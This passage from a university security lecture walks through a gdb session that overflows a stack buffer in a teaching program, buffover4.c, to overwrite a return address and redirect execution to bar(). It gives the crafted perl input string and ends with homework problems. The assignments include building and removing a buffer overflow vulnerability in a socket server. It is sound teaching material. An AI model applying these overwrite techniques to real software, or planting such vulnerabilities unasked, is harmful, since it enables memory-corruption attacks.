Step 11: At this point, we should have overrun the buffer allocated to the array variable `buf` and hopefully we have managed to overwrite the location in `foo`'s stackframe where the return address is stored. To confirm that fact, it is time to examine this stackframe again:

```
(gdb) print /x $rsp                      # what is stored in stack pointer
                                         #   $6 = 0x7fffffffe2d0

(gdb) print /x *(unsigned *) $rsp        # what is at the stack location
                                         # pointed to by stack pointer
                                         #   $7 = 0xffffe410

(gdb) print /x $rbp                      # what is stored in frame pointer
                                         #   $8 = 0x7fffffffe2f0

(gdb) print /x *(unsigned *) $rbp        # what is at the stack location
                                         # pointed to by frame pointer
                                         #   $9 = 0x41414141

(gdb) print /x *((unsigned *) $rbp + 2) # what is the return address
                                         # for this stackframe
                                         #   $10 = 0x40068e
```

As you can see, we have managed to overwrite both the contents of the stack location pointed to by the frame pointer and the return address in the stackframe for `foo`.

Step 12: To see the consequences of the overwrite of `foo`'s return address, let's first create a new breakpoint at the entry into `bar` by

```
(gdb)   break bar
```

GDB will come back with:

```
Breakpoint 3 at 0x400692: file buffover4.c, line 18.
```

Step 13: Recall that we are currently stopped at the second breakpoint, which is just before the exit from `foo`. To get past this breakpoint, let's now step through the execution one machine instruction at a time by issuing the commands:

```
(gdb)   stepi

(gdb)   stepi
```

The first call above will elicit an error message that you can ignore. I believe this message is a result of the overwrite of the location pointed to by the frame pointer. The second call, however, will elicit the following from `gdb`:

```
0x000000000040068f      17      void bar() {
```

Now you know for sure that you are inside the object code for `bar`. This means that our overwrite of the return address in the stackframe for `foo` worked.

Step 14: We will now issue the following commands:

```
(gdb)   cont

(gdb)   cont
```

The first command will take us to the third breakpoint we set earlier. And the second will cause the following to be displayed in your terminal window:

```
Continuing.

You entered: AAAAAAAAAAAAAAAAAAAAAAAA@

What? I was not supposed to be called!

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe3f8 in ?? ()
```

The code in `bar()` was executed successfully before we hit segfault.

- Now that we successfully designed a string that overwrites the return address in `foo`'s stackframe, we can feed it directly into our application program by

```
buffover4 `perl -e 'print "A" x 24 . "\x8e\x06\x40\x00"'`
```

  and what you will see will be a response like

```
You entered: AAAAAAAAAAAAAAAAAAAAAAAA@

What? I was not supposed to be called!

Segmentation fault
```

- A program input-string designed in the manner described above will, in general, work only for a specific compilation of the source code. Should there be a need to recompile the program `buffover4.c`, especially if you do the recompilation after you have made a change to the source code, you may have to redesign the input string that would result in return address overwrite.

- Finally, some of the other `gdb` commands that you will find useful in the context described here are: `list` to see where exactly you are in the source code at a given moment; `s` to step into the next function; `bt` to see a listing of all the stack-frames currently in the stack; `frame i` to see the a particular stackframe; `info frame i` to see the values stored in the stack frame at the locations pointed to by the stack pointer, the frame pointer, etc.; `info locals` to see the values stored for the local variables; `info break` to see the information on the break-points; `info registers` for the various registers. If you want to print out the value of a local variable in hex, you say `print /x variable_name`; and so son. You enter `quit` to exit the debugger.

21.7: HOMEWORK PROBLEMS

1. In IANA port assignment table, we have "Well Known Ports," "Registered Ports," and "Dynamic/Private Ports." What do these categories of ports mean to you? What is IANA?

2. Is it possible to cause buffer overflows in the heap?

3. Any differences between the terms "stack," "run-time stack," "call stack," "control stack," and "execution stack?"

4. What is the difference between a process and function execution? Why do we need the concept of a process in a computer?

5. What is the relationship between a "call stack" and the "stack frames" that found in a call stack?

6. Where does the stack pointer point to in a call stack? What about the base pointer and the instruction pointer?

7. **Programming Assignment:**

The goal of this assignment is to give you a deeper understanding of buffer overflow attack. You are provided with two socket programs in C. One of them acts as a server and the other as a client. Your homework consists of testing whether the server is vulnerable to buffer overflow attack. If not, modify the server to create such a vulnerability. If yes, modify the server to eliminate the vulnerability.

- Compile the server and the client programs using either `gcc` or `tcc` on your Linux machine. If you use `gcc`, make sure you give it the option "-fno-stack-protector" as explained in Section 21.7 of this lecture.
- Test the programs with two different shell terminals on your laptop — one for the server and the other for the client. You can also run the server on a Purdue ECN machine using a high numbered port like 7777 and the client on your own laptop.
- Now try to figure out whether the server is vulnerable to the buffer overflow attack.
- Modify the server program as necessary and explain your modifications in detail.

8. **Programming Assignment:**

Using the program `buffover4.c` as an example, Section 21.8 shows how you can design a program input string for overwriting the return address in the stackframe of the function that possesses buffer overflow vulnerability. The input string we designed in that section succeeded in steering at run time the flow of execution into the function `bar()`. However, eventually, we ended up in a program crash caused by a segfault. This programming assignment consists of you writing your own C program that, instead of using `strcpy()`, uses `getchar()` to write into a buffer that has insufficient memory allocated to it. Now show how you can directly overwrite the return address in a stackframe without also overwriting the locations pointed to by the frame pointer and other registers.